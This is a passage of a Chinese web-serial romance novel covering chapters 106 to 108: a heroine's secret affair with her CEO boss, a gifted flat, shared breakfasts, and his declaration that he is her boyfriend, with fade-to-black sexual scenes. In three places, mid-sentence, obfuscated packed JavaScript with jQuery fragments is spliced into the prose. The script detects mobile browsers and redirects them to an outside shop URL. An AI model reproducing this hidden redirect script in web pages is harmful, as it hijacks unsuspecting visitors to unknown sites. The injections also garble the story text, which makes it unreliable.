安静到她能听到自己疯狂跳动的心跳声。
“帮我解开扣子。”耳边磁性低沉的嗓音引导着她。
她指尖碰到他衬衫上的钮扣,很小一颗,她解得很费劲,主要是.....手有点发软。
还要回应着他。
解了半天,才解开两颗。
手上覆盖来一只温热的大手,他一只手握着她的手,解开剩下的钮扣。
带着她的指尖碰到了温热的皮肤。
她缩了一下手,被他捉住,“跑什么?”
“......没跑。”她嗓音不知道什么时候带上了一丝颤软,“我要摸知道自己摸,你别抓我手。”
他不听,反倒和她那只手十指交握,将其扣在她头顶。
这个姿势很没有安全感,她胸口起起伏伏,呼吸一次比一次重。
衣物散落一地......
“还抱得住吗?”男人低沉的嗓音在空气中飘浮,慢悠悠地飘到她耳边。
她没有回应,心里只想杀了乱买东西的自己。
第一百零六章 要哄一下吗
下午三点,江迟鹿醒来时身边已经空了。
她抱着枕头,下巴陷入,盯着空掉的那一块。
压在脸颊下的手臂上有些青紫的暧昧痕迹。
只要低头一看,便能看到她的锁骨上胸口腰上都有痕迹。
她摸出手机,上面有姜则发来的消息。
【姜则:你怎么突然请假了,今天可忙死我了。】
江迟鹿看了一眼自己的请假情况,请假一天。
肯定是傅靳年可请的。
她找人算账去。
【江迟鹿:你怎么能私自帮我请假!】
对面过了一会儿才回复:
【傅靳年:不然?你能起来?】
【江迟鹿:你叫我我自然就能起来了!你还我全勤奖!】
下一秒,对方转账五万元。
她指尖顿了一下,这可比她的全勤**了。
难道是犒劳自己昨晚的表现。
她立即点了收下,有钱的是老大。
【江迟鹿:谢谢傅总善解人意,还帮我请假~】
她在床上滚了一圈,感觉腰上有些疼,摸着自己的腰,低头一看上面居然全是掐痕。
他是变态吧!
之前也没发觉他有这种爱好啊。
果然,现在性质变了,待遇就不一样了是吧,他这绝对是本性暴露。
她从床上下来,听到门口铃声响了。
进来的是酒店的工作人员,推着一车好吃的,将那些一一摆上桌面。
江迟鹿坐在旁边拿着手机回复傅今棠消息。
“江小姐,您可以用餐了。”
她走过去,看到桌上的那些色香味俱全的美食,胃口一下上来,拿起筷子先吃了一口。
“对了江小姐,这是傅先生交代给你的。”工作人员从口袋里拿出了一张房卡递给她。
——1307
就是现在这个房间。
她怔了会儿,抬手收下,指腹压着卡沿,深深陷入,有些钝疼。
吃饱喝足,她打车去了景苑,傅靳年给她买的房子在六楼,装修和家具都已经按照她喜好安排好了。
整体风格以浅木色和奶白色为主色调,温润柔和,采光极好,空间开阔。
空间布局也十分舒适,横向大横厅,客餐厅和工作区一体,视野流畅。
大尺寸电视和木质电视柜,浅色系窗帘、地毯,搭配布艺沙发,舒适又慵懒。
干净、明亮、温暖,是她想象中的家。
两百多平,一共四个房间,两个主卧,一间书房,一间客卧。
她仔细地将这个家每个地方、角落走过,眼圈顿时有些红。
她想要的已经拥有的,可是可笑的是,她现在找不出让妈妈搬过来的理由。
该怎么说这套房子的来历?
她女儿睡觉睡来的吗?
“滴”手机消息提示音响起。
她暂时收起情绪,点开手机。
是傅今棠发来的。
【棠棠:对了,你和他都睡了,他给你什么了吗?】
江迟鹿拍了房子的照片发过去。
【一套房。】
【棠棠:我靠,他还挺大方的,你正好把你妈叫来一起住呗。】
【我在想怎么跟我妈解释,以我的工资不知道要几百年才能买这里的房子。】
【棠棠:额.....要不就说公司福利?】
【江迟鹿:呵呵,我妈是年纪大了,不是脑子没了。】
【棠棠:那就直接说是你男朋友送你的呗。】
【江迟鹿:什么男朋友?那我要说了她要见我男朋友怎么办。】
【棠棠:你带傅靳年去见不就是了。】
【江迟鹿:你是不是搞错情况了,我和傅靳年不是男女朋友关系。】
【棠棠:?什么意思,都踏马睡了还不是男女朋友关系?】
【江迟鹿:我们是纯睡的关系。】
消息刚发送过去,上方正好弹出来一条消息。
【傅靳年:晚上七点,x餐厅。】
看看,这命令的语气,这能是男女朋友关系吗?这明明就是金主和小情人的关系。
江迟鹿截图发给了傅今棠。
傅今棠孵了六个蛋出来。
......
在餐厅吃过饭后,江迟鹿理所应当地跟傅靳年去了1307。
跟在他身后,手指不自觉搅在了一起。
这货怎么吃了就想做啊,就不能歇会儿吗。
进门后,她轻咳了一声,“傅......”
傅靳年抬眼扫向她,“不想听你叫傅总。”
江迟鹿顿了一下,“那.....老板?”
金主老板也是老板啊。
“......不好听。”他面无表情地坐上沙发,盯着她。
江迟鹿像个罚站的学生,开始猜测老师需要的‘正确答案’。
莫非他想玩点情趣?
“.....主人?”
“......”
傅靳年眉心皱了一下,用那种鄙夷的眼神盯着她。
江迟鹿脸上一尬,耳根子都红了,这什么眼神,搞得好像她是那种很那啥的人一样,不是他在这里吹毛求疵的吗!傻叉金主。
“亲爱的?”她说出口,自己都觉得尴尬,“这似乎有点过于肉麻了。”
“以前怎么叫的,现在就怎么叫。”他淡淡说着,倒了两杯水,一杯往前推了推,“你不坐?”
江迟鹿盯着他,犹豫了一下开口道:“我能选择不做吗?”
傅靳年握着玻璃杯顿住,身形往后靠了靠,盯着她,“我是说——坐,坐下,沙发。”
“......哈哈哈哈哈,我也是这个意思!我是说我不是很想做,我刚刚吃得太多了,我现在需要站着消化一下!真的,我就是这个意思。”
她尴尬的转身,“我去一下洗手间。”
傅靳年盯着她匆忙的背影,忍不住哼出了一声笑。
在外面等了一会儿,浴室里依旧毫无动静,傅靳年起身,手指扣在磨砂质感的门上敲了敲。
里面传出来江迟鹿带着叹息的声音,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288979|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我想洗个澡。”
男人一米八八的优越身型靠在门边,单手插兜,嘴角带笑漫不经心道:“嗯,你洗,不催你。”
里面很快传出来水流哗哗的声音。
水声是出来了,人却迟迟没有出来。
傅靳年眉骨抬了抬,磨砂质感的门能微微透出里面的人影,却很模糊,但至少他能看清楚,里面的人没有脱衣服。
浴室的门被推开。
江迟鹿抱着手机往后退了两步,“你干,干嘛。”
他进去,反手关上门,揽着她的腰蛮霸地将人拉进自己怀里。
“当然是干......”最后一个低沉的音节轻轻撩进她耳蜗,酥酥麻麻的,她太敏感,缩了缩脖子。
将人往前推了推,没推动,他的吻先落了下来。
......
结束后,她头发有些汗湿,靠在他怀里,脑袋有些晕,但强撑着拿过手机在备忘录记。
头顶传来一道喑哑的声音:“记什么?”
她声音也哑,敷衍着回:“没什么。”
男人的头往下垂了垂,便看到了她在备忘录上记:
油条豆浆。
“......”他仰头闷声笑了一下,“你记性不至于差成这样吧,吃个早餐还要记。”
江迟鹿轻哼了一声,“万一我一到早餐店看见其他好吃的呢,我一周前就在想了,不是起来晚了没吃到早餐,就是一进早餐店就点了其他的,然后晚上想起来,馋得够厉害。”
“你要吃,现在可以让酒店做。”他从旁边拿过手机,被另一只手压住。
她声音着急:“不要不要,晚上吃油条我是疯了吗?胖死我得了。”
她拒绝得很果断,实际是怕再犹豫一秒就会答应。
傅靳年盯着她没说话,气氛突然有些安静。
她正准备关了手机睡觉。
腰上突然环过来他重重的胳膊和手,指腹在她的腰上捏了捏,“没多少肉。”
“就是因为我严以律己!才没多少肉。”
她可不是幸运的吃不胖体质。
“又不是每晚都吃。”他说着,手没松开,也没其他动作。
江迟鹿就随便他去了,“你难道不知道有一就有二,有二就有三吗!”
“......”
她腰上那只手突然就缩了回去,男人背过身,没说话了。
即便一句话不说,但某种默契之下,江迟鹿还是能感知到他似乎突然有了情绪。
难道是他好心要让酒店给自己送油条结果被自己拒绝所以伤心了?
不至于吧......
她要哄一下人吗?
怎么哄?
偷偷瞥了一眼过去,先看到的是他漏在外面的背肌。
他趴在枕头上,大片的背肌上有着红色的抓痕,被小夜灯映得十分明显。
她不禁看了看自己的指甲。
有这么厉害吗......
抓得好,谁让他不听。
“咳咳,晚安。”她关掉小夜灯。
第一百零七章 苏家的人来了
大概是昨晚开始的时间挺早,江迟鹿勉强在上班前醒过来。
身边依旧是空的。
她盯着身边空荡荡的被窝,不知道为什么,心也像是跟着空了一块。
“醒了就出来吃早餐。”门口传来一道低沉磁性的声音。
她懵茫地抬起头。
看到男人已经穿好衬衣黑裤,半靠在门口盯着她。
“你还在啊。”她下意识吐出了这句话。
“你再醒晚点我就不在了。”他转身出去。
江迟鹿下床跟在他身后,看到了餐桌上的早餐。
两人份的油条豆浆。
油条的香气和豆浆的醇厚,顿时勾起她的胃口。
她笑着走过去坐下。
白色瓷盘里,油条切成了一段一段,面前的小碗盛着半碗豆浆,她拿起筷子夹了一段油条,酥脆外皮发出‘嚓嚓’声,慢慢压进豆浆,泡进去,油亮酥脆的外皮变得软烂,裹满了豆浆,一口塞嘴里,这一刻的满足不比昨晚少。
她一口塞完,又立即夹起一段。
傅靳年看她吃的这么香,目光不自觉放在她身上。
他已经......很久没有这样面对面坐着,认真地看她吃早餐了。
某人从上大学开始就一直严控自己的体重,生怕自己多长了一点肉,吃的少,吃的也虔诚,像食物的虔徒。
跟他很不一样。
冯敬国平时不做饭,在他的记忆中,他是吃邻居家的剩饭活下来的,后面能够踩在小板凳上做饭,但也时常因为家里稀缺米粮,不得不饿肚子。
在同学们都嫌弃学校食堂的饭难吃的时候,他没什么感觉,只觉得能吃饱就挺好。
后面对食物也没什么渴望和要求。
跟江迟鹿在一起后,好像就开始变得不一样了。
她明明想吃得不行,会站在学校蛋糕店外面看很久,最后咬着牙拍自己的脸,跟自己赌气说“你要是敢在这个点吃东西以后就都不会发财了!”
说完后再不看蛋糕一眼,坚决地离开。
和她同桌吃饭时,也会发现她偶尔会暗自跟自己较劲。
川菜馆上的红烧肉、回锅肉,肥瘦均匀,香而不腻,她很喜欢吃,但是吃掉三块之后,就会特意放慢速度吃,估计在跟心里的另一个自己博弈。
博弈成功了呢就放飞自我地把一整盘吃光才停手。
博弈失败了呢就默不作声地疯狂吃青菜发泄。
这两种情况往往是对半分。
看透江迟鹿的心理后,他便像是找到了乐子一样。
每次吃饭,就爱观察她,然后在心底猜测她这次是博弈失败还是博弈成功。
如果她失败了,他就会故意夹肉给她让她多吃点。
而江迟鹿也会把这种行为当成一种上天的馈赠,她不是主动吃的,别人夹的不好拒绝,所以只能勉强地‘被迫’地吃掉了。
“你快吃啊?豆浆冷掉了泡出来的油条不好吃。”江迟鹿看他一副走神的样子,抬手挥了挥。
傅靳年抬筷子,将油条泡进豆浆,学着她的样子一口塞进嘴里。
江迟鹿吃了好几块,心里的馋鬼暂时满足,这会儿手撑着下巴盯着他,情不自禁问出一个问题:“是因为你的气质就贵气吗,我怎么感觉你吃个油条吃出了几千块钱的感觉。”
傅靳年抬眼轻轻瞥了她一下,“因为背景贵,我们去瓦盖的土房子里吃,就是几毛钱的感觉了。”
犀利,精准。
江迟鹿看了一圈这套高级套房,点点头:“你说的也是,不过傅......”
她想起昨晚他的交代,改口道:“傅靳年,我刚刚那是拍马屁,你听不出来吗。”
他吞咽后,舔了下薄唇,性感的M型上唇沾一点光亮,“留着晚上拍。”
江迟鹿愣了两秒才反应过来傅靳年这句话背后的意思。
呵呵,这个脑子里就那点事的狗男人。
还记得之前在研发部的时候听到小麦跟同事八卦说,傅靳年一看就是禁欲的那种,还说看着像是连片都不看的男人,脑子里就只有工作。
实则不然啊,这人色起来脑子里没一点正事。
“又在心里腹诽我什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288980|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么?”男人淡淡的问,一副将她看穿的神情。
江迟鹿结巴似的开口丢了两个字,“好,好......”
“好话?我不信。”他低着头将油条泡入豆浆,嘴角有一丝淡淡的笑意。
江迟鹿啧了一声,“行,不是好话,我在心里给你办葬礼呢,行了吧。嗷.....”
她一口塞进油条,这次没泡豆浆,酥脆油香,这一口太值得了。
不知不觉,那一盘油条已经没有了。
这一盘肯定剪了有两根。
她咬着下唇,眉心皱起,神色有些复杂。
傅靳年抽两张纸巾递过去,“都已经吃了,就不用博弈了吧。”
江迟鹿眼神愣了一下,抬眼看去。
他神情淡然,“难道还没吃饱?可以再让人送。”
“不不不,我已经吃饱了!”她立即起身,“我要去刷牙了。”
刷完牙就不想吃了,现在还想吃是因为没刷牙。
傅靳年看她匆匆忙忙地钻进洗漱间,指尖在桌上漫不经心敲了一下。
起身后,他看到江迟鹿的碗里还剩下一些豆浆,手指顺势端起来,仰头喝掉,舔了舔薄唇,脸色甚好。
江迟鹿要是看到了他的行为,估计又得喊一声变态。
两人一起出的门。
江迟鹿却在距离公司还有百米的时候下了车,坚决不跟傅靳年一起进公司大门。
她后几分钟到达二十八层,办公室里的气氛格外的凝重。
她坐到自己的位置问姜则:“出什么事了吗?大家好像都很严肃......”
姜则眼神瞥了瞥关掉玻璃的总裁办公室,“苏家的人来了,刚来的时候把我们这一层的人都扫了一圈,那样子啊.......”
姜则‘啧’了一声,“活像是来抓小三的,可别提多恐怖了,好几个女生低着头生怕跟她对视一眼就被误抓成小三。”
江迟鹿心底沉了沉,下意识皱着眉看向总裁办公室。
可惜智能调光玻璃断电后雾化,呈乳白色磨砂状,完全看不到里面的情况。
第一百零八章 什么关系
江迟鹿拿着手机给傅今棠发消息。
【江迟鹿:苏轻她妈来公司了,你说我不会这么快就完蛋了吧。】
【棠棠:完蛋什么?没你的事,该干嘛干嘛,他自己知道处理的。】
【江迟鹿:傅靳年拒绝了和苏家的联姻,苏家人怀疑傅靳年是有其他人了,专门来公司抓小三的。】
【棠棠:江迟鹿,你怎么回事?傅靳年跟苏轻没有任何关系,你怎么老感觉你自己插足别人感情呢。】
【江迟鹿:......没有我的话,他俩应该会在一起吧......】
她心底的想法还是觉得自己是个恶毒女配,而且现在还按设定踏入了两人之间,心底复杂难堪。
【棠棠:我觉得你能这么快把傅靳年拿下,对他来说你肯定是不一样的。反倒是那个苏轻,之前一起吃饭的时候,两人可是没什么交流,有短暂的交流也都是苏轻特意搭话。】
“不一样。”江迟鹿指尖忍不住摩挲。
“砰”一声,总裁办公室的门被**力从里面推开。
刚才气势汹汹进来的贵妇人现在脸色涨成了猪肝色,紧紧抓着手上的包带,低着头,像是受到了什么羞辱一样匆匆离开。
江迟鹿呆愣着看着她进了电梯,紧咬着牙的原因,咬肌鼓了鼓。
她的视线重新回到办公室。
玻璃已经恢复透明,她回望过去时,正好和盯着她的傅靳年对视上。
他招了招手。
江迟鹿眼珠子转了转,在周围扫了一圈,嗯没有人,所以傅靳年是在叫她进去。
她起身过去。
进入办公室后,看到小安在收拾办公室里碎掉的茶盏,估计是刚刚交谈得不愉快。
“傅总,您叫我进来有事吗?”她拿出十足十公事公办的样子。
傅靳年推过去一份文件,“你手里游戏机的项目收尾状况交给姜则,你负责新项目。”
江迟鹿顿了一下,才抬手从他手里把文件拿过来。
心里忍不住想,这货肯定是为了不让自己和祁柏言接触。
不然怎么突然给她换工作内容。
“好的。”她应下。
上司说什么她就做什么。
傅靳年见她应得爽快,眉梢挑了一下,“没在心里偷偷骂我吧。”
旁边正在收拾地面的小安愣了一下,眼神忍不住往旁边瞥去。
这话......怎么感觉不像是上司对下属说的,好像有点过于暧昧了吧。
江迟鹿轻咳了一声,“傅总您说笑了,我怎么会在心里偷偷骂您呢,我对您的工作安排没有一丝一毫的质疑。请你相信我。”她拍了拍胸脯。
傅靳年轻嗯了声,“下去吧。”
江迟鹿缓缓吐出一口气,真是的,怎么能当着其他人的面这么自然地跟自己暧昧呢......
莫名其妙的,江迟鹿感觉自己的脑子里又冒出了傅今棠对自己说的那句话。
‘对他来说你肯定是不一样的......’
她对傅靳年不一样?
她眼神偷偷瞥在傅靳年身上,突然很想问问。
但是现在两人的关系显然不像之前那样能直来直往的问话。
忍了忍,最后选择闭嘴。
“你有什么想说的?”傅靳年突然问她。
江迟鹿原本要转身出去的脚步一顿。
小安收拾好了地面,拿着工具从办公室出去。
江迟鹿能明显感觉到她的步伐很慢。
她很能理解她的心理,想留下来多听两句八卦。
可惜,在小安慢吞吞磨蹭出去后,江迟鹿一句话也没说。
等到门关上,她才开口问傅靳年:“那个......苏轻她妈来找你做什么啊?”
傅靳年身形往后靠了靠,眸子盯着她,目光很淡定,“问我为什么拒绝和苏家联姻,怀疑有人勾引我,又拿当初苏轻救下我说事。”
他说的挺具体的,两人估计就聊这些了。
江迟鹿抿着唇瓣,牙齿滑过唇内侧的软肉,纠结了一下:“那你怎么......回的。”
傅靳年站起身,手掌撑在桌上,上半身倾向江迟鹿,声音低低沉沉的,“你猜猜。”
.....猜就猜,还说什么叠叠词.....
“咳咳。”她偏头移开目光,开口道:“我看她离开的时候很狼狈,不会是......你拿什么吓唬她了吧。”
傅靳年轻笑了一声,掌心压着她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288981|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脖子,指腹在她后颈皮肤上缓缓摩挲,嗓音磁沉:“你好像很在意这件事?”
“我,我当然在意了。”江迟鹿轻咳了一声,“那我们现在的关系......要是被她知道了,她来找我的麻烦怎么办?”
“我们现在的关系?”他炙热的鼻息拂过她的耳垂,撩得人耳朵连带着身上都痒痒的。
江迟鹿忍不住缩脖子后退,但脖颈被他手掌握着,怎么退也退不开。
她清了清嗓子开口道:“你难道不知道我们现在的关系吗?”
“嗯.....”他盯着她,问:“什么关系?”
“不嗯...不正当关系。”江迟鹿闷着声音挤出几个字。
“我什么说过我们是不正当关系了?”他的手指顺着江迟鹿后颈落到耳垂,指腹捏了捏,暧昧又撩人。
他的指腹是热的,江迟鹿的耳垂是凉的。
“......啊?”她过了好几秒才反应过来,“那,我们是什么......”
“房子都给你了,我难道不配拥有一个男朋友的身份?”他声线低沉,带一分询问。
江迟鹿却彻底懵了,“男,男朋友?”
傅靳年瞳仁黑熠熠盯着她,“江迟鹿,准确来说,我一直都是你男朋友。”
他虎口卡住她下巴,指腹摩挲而过压在她唇角,下一秒,短暂亲了一下,随即松开手,“出去慢慢想,记得把工作跟姜则交接了。”
江迟鹿脑子飘飘然地飘到姜则面前,开口道:“傅总说我手上的项目交接给你,他给我安排了一个新的......”
姜则挥挥手打断她,“你这是怎么了?一脸灵魂出窍的感觉。”
她呼吸沉了沉,开口道:“我......我没事。”
晃了晃头,江迟鹿将脑子里嗡嗡乱七八糟的声音给摇了出去。
姜则虽然疑惑为什么突然换了江迟鹿的工作内容,但对傅靳年的安排没有二话。
反倒问起江迟鹿来:“你怎么了?感觉你整个人不在线的状态。”
“我......没事。”说完这句,江迟鹿脑子里又冒出了男朋友三个字,她匆忙把手里的文件交给姜则,“我还有事要忙。”